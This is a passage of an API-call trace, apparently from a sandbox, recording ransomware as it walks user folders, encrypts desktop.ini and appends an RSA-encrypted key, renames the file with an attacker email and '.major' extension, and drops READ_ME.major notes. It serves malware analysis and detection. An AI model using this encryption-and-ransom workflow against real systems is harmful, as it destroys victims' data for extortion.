[0148.082] SetLastError (dwErrCode=0x5) [0148.082] GetLastError () returned 0x5 [0148.083] SetLastError (dwErrCode=0x5) [0148.083] GetLastError () returned 0x5 [0148.083] SetLastError (dwErrCode=0x5) [0148.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed28 [0148.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0148.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0148.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589b30 [0148.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60ec28 [0148.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60ec28 | out: hHeap=0x570000) returned 1 [0148.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40480 [0148.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40480 | out: hHeap=0x570000) returned 1 [0148.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589b30 | out: hHeap=0x570000) returned 1 [0148.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed28 | out: hHeap=0x570000) returned 1 [0148.083] FindNextFileW (in: hFindFile=0x60eba8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x152aa46e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0148.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0148.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0148.083] GetLastError () returned 0x5 [0148.083] SetLastError (dwErrCode=0x5) [0148.083] GetLastError () returned 0x5 [0148.083] SetLastError (dwErrCode=0x5) [0148.083] GetLastError () returned 0x5 [0148.083] SetLastError (dwErrCode=0x5) [0148.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0148.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0148.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0148.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0148.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60ec28 [0148.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60ec28 | out: hHeap=0x570000) returned 1 [0148.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40450 [0148.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40450 | out: hHeap=0x570000) returned 1 [0148.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0148.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0148.084] FindNextFileW (in: hFindFile=0x60eba8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x3f0f0bc5, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x93ef127a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0148.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0148.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0148.084] GetLastError () returned 0x5 [0148.084] SetLastError (dwErrCode=0x5) [0148.084] GetLastError () returned 0x5 [0148.084] SetLastError (dwErrCode=0x5) [0148.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0148.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0148.084] GetLastError () returned 0x5 [0148.084] SetLastError (dwErrCode=0x5) [0148.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589b30 [0148.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589b30 | out: hHeap=0x570000) returned 1 [0148.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0148.084] FindNextFileW (in: hFindFile=0x60eba8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x152aa46e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x152aa46e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x152aa46e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0148.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0148.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0148.084] GetLastError () returned 0x5 [0148.084] SetLastError (dwErrCode=0x5) [0148.084] GetLastError () returned 0x5 [0148.084] SetLastError (dwErrCode=0x5) [0148.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0148.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0148.084] GetLastError () returned 0x5 [0148.084] SetLastError (dwErrCode=0x5) [0148.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589900 [0148.085] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589900 | out: hHeap=0x570000) returned 1 [0148.085] FindNextFileW (in: hFindFile=0x60eba8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x152aa46e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x152aa46e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x152aa46e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0148.085] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0148.085] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589978 [0148.085] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.085] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\OneDrive\\desktop.ini", dwFileAttributes=0x80) returned 1 [0148.091] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0148.091] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.091] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0148.091] CreateFileW (lpFileName="\\Users\\FD1HVy\\OneDrive\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\onedrive\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5fc [0148.091] GetFileSizeEx (in: hFile=0x5fc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=97) returned 1 [0148.091] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x61) returned 0x5b4fd0 [0148.091] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x61) returned 0x5bf480 [0148.091] ReadFile (in: hFile=0x5fc, lpBuffer=0x5b4fd0, nNumberOfBytesToRead=0x61, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b4fd0*, lpNumberOfBytesRead=0x2e3f9b4*=0x61, lpOverlapped=0x0) returned 1 [0148.092] SetFilePointer (in: hFile=0x5fc, lDistanceToMove=-97, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.092] WriteFile (in: hFile=0x5fc, lpBuffer=0x5bf480*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5bf480*, lpNumberOfBytesWritten=0x2e3f9b4*=0x61, lpOverlapped=0x0) returned 1 [0148.092] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4fd0 | out: hHeap=0x570000) returned 1 [0148.092] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf480 | out: hHeap=0x570000) returned 1 [0148.093] SetFilePointer (in: hFile=0x5fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x61 [0148.093] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.093] WriteFile (in: hFile=0x5fc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.093] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.093] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.093] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.093] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.093] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="EGIBaV42pLh9HdDNaiXMRrR6LjEYJppRuqeCTruslAdns0m0G4ZwvKJWQiGSpwhP\nieCpk4OkrQQHnJJMgXU+CpgMnTnESH1g3X7tFUgl95qKxQPU1/arwM1SqzfVNv5Y\nrfgP3QnL2xQT9nC3BM3WZKGqqmg0p7S8GhjYuCp0z42wMOnqsg3Ahg8kuaxPZiDo\nNLKeS2mDBXsP4CqUQuPYfIaNDVbIB4/EBJhrLoL4togV2nMUyhJL3oBfqLCbUZfL\nNOZ+a5Rl7VK/hASJTACGyU4qYx0NID/h3YsOEZxnm8ZeQeHAxgAtWe7ipMhiRoWE\nPmPWWRSy+rePVK3DhHqtLw==\n", pcchString=0x2e3f9a8) returned 1 [0148.093] WriteFile (in: hFile=0x5fc, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.093] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.093] WriteFile (in: hFile=0x5fc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.094] CloseHandle (hObject=0x5fc) returned 1 [0148.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.094] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\OneDrive\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\onedrive\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\OneDrive\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\onedrive\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.096] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.096] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589978 | out: hHeap=0x570000) returned 1 [0148.096] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0148.096] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0148.096] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0148.096] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0148.096] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec80 | out: hHeap=0x570000) returned 1 [0148.096] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccee0 | out: hHeap=0x570000) returned 1 [0148.096] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Pictures\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xcfc3413c, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0x152aa46e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60ec28 [0148.096] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0148.096] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0148.096] GetLastError () returned 0x0 [0148.096] SetLastError (dwErrCode=0x0) [0148.096] GetLastError () returned 0x0 [0148.096] SetLastError (dwErrCode=0x0) [0148.096] GetLastError () returned 0x0 [0148.096] SetLastError (dwErrCode=0x0) [0148.096] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0148.096] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0148.096] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0148.096] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589b30 [0148.096] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631700 [0148.096] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631700 | out: hHeap=0x570000) returned 1 [0148.096] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405b8 [0148.097] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405b8 | out: hHeap=0x570000) returned 1 [0148.097] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589b30 | out: hHeap=0x570000) returned 1 [0148.097] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0148.097] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xcfc3413c, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0x152aa46e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0148.097] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0148.097] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0148.097] GetLastError () returned 0x0 [0148.097] SetLastError (dwErrCode=0x0) [0148.097] GetLastError () returned 0x0 [0148.097] SetLastError (dwErrCode=0x0) [0148.097] GetLastError () returned 0x0 [0148.097] SetLastError (dwErrCode=0x0) [0148.097] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eee8 [0148.097] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0148.097] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0148.097] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589900 [0148.097] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630c00 [0148.097] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630c00 | out: hHeap=0x570000) returned 1 [0148.097] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403f0 [0148.097] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403f0 | out: hHeap=0x570000) returned 1 [0148.097] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589900 | out: hHeap=0x570000) returned 1 [0148.097] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eee8 | out: hHeap=0x570000) returned 1 [0148.097] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cd8a360, ftCreationTime.dwHighDateTime=0x1d4d45a, ftLastAccessTime.dwLowDateTime=0xcd2b0620, ftLastAccessTime.dwHighDateTime=0x1d4d517, ftLastWriteTime.dwLowDateTime=0xcd2b0620, ftLastWriteTime.dwHighDateTime=0x1d4d517, nFileSizeHigh=0x0, nFileSizeLow=0xdec1, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="3b8zhwJ8f88GMvoUy.gif", cAlternateFileName="3B8ZHW~1.GIF")) returned 1 [0148.097] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0148.097] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0148.097] GetLastError () returned 0x0 [0148.097] SetLastError (dwErrCode=0x0) [0148.097] GetLastError () returned 0x0 [0148.098] SetLastError (dwErrCode=0x0) [0148.098] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0148.098] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0148.098] GetLastError () returned 0x0 [0148.098] SetLastError (dwErrCode=0x0) [0148.098] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0148.098] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0148.098] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0148.098] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b23080, ftCreationTime.dwHighDateTime=0x1d4d2b4, ftLastAccessTime.dwLowDateTime=0x53a7e2f0, ftLastAccessTime.dwHighDateTime=0x1d4d346, ftLastWriteTime.dwLowDateTime=0x53a7e2f0, ftLastWriteTime.dwHighDateTime=0x1d4d346, nFileSizeHigh=0x0, nFileSizeLow=0xdb7a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="9ycf8164-1A.png", cAlternateFileName="9YCF81~1.PNG")) returned 1 [0148.098] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0148.098] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0148.098] GetLastError () returned 0x0 [0148.098] SetLastError (dwErrCode=0x0) [0148.098] GetLastError () returned 0x0 [0148.098] SetLastError (dwErrCode=0x0) [0148.098] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0148.098] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0148.098] GetLastError () returned 0x0 [0148.098] SetLastError (dwErrCode=0x0) [0148.098] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589b30 [0148.098] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589b30 | out: hHeap=0x570000) returned 1 [0148.098] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0148.098] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66d82480, ftCreationTime.dwHighDateTime=0x1d4cacb, ftLastAccessTime.dwLowDateTime=0x7f1ebe20, ftLastAccessTime.dwHighDateTime=0x1d4c6d2, ftLastWriteTime.dwLowDateTime=0x7f1ebe20, ftLastWriteTime.dwHighDateTime=0x1d4c6d2, nFileSizeHigh=0x0, nFileSizeLow=0x16a75, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="aOWokbg73cw-ff_OHj.jpg", cAlternateFileName="AOWOKB~1.JPG")) returned 1 [0148.098] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0148.098] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0148.098] GetLastError () returned 0x0 [0148.098] SetLastError (dwErrCode=0x0) [0148.098] GetLastError () returned 0x0 [0148.099] SetLastError (dwErrCode=0x0) [0148.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0148.099] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0148.099] GetLastError () returned 0x0 [0148.099] SetLastError (dwErrCode=0x0) [0148.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e9e0 [0148.099] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e9e0 | out: hHeap=0x570000) returned 1 [0148.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0148.099] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Camera Roll", cAlternateFileName="CAMERA~1")) returned 1 [0148.099] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0148.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0148.099] GetLastError () returned 0x0 [0148.099] SetLastError (dwErrCode=0x0) [0148.099] GetLastError () returned 0x0 [0148.099] SetLastError (dwErrCode=0x0) [0148.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0148.099] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0148.099] GetLastError () returned 0x0 [0148.099] SetLastError (dwErrCode=0x0) [0148.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5899c8 [0148.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589b30 [0148.099] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5899c8 | out: hHeap=0x570000) returned 1 [0148.099] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589b30 | out: hHeap=0x570000) returned 1 [0148.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0148.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589900 [0148.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0148.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0148.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d350 [0148.100] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0148.100] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0148.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0148.100] GetLastError () returned 0x0 [0148.100] SetLastError (dwErrCode=0x0) [0148.100] GetLastError () returned 0x0 [0148.100] SetLastError (dwErrCode=0x0) [0148.100] GetLastError () returned 0x0 [0148.100] SetLastError (dwErrCode=0x0) [0148.100] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0148.100] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\Camera Roll\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\pictures\\camera roll\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0148.101] WriteFile (in: hFile=0x600, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0148.102] CloseHandle (hObject=0x600) returned 1 [0148.102] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0148.102] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d350 | out: hHeap=0x570000) returned 1 [0148.102] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0148.102] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0148.102] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e819450, ftCreationTime.dwHighDateTime=0x1d4cc23, ftLastAccessTime.dwLowDateTime=0xc9a88b60, ftLastAccessTime.dwHighDateTime=0x1d4d00f, ftLastWriteTime.dwLowDateTime=0xc9a88b60, 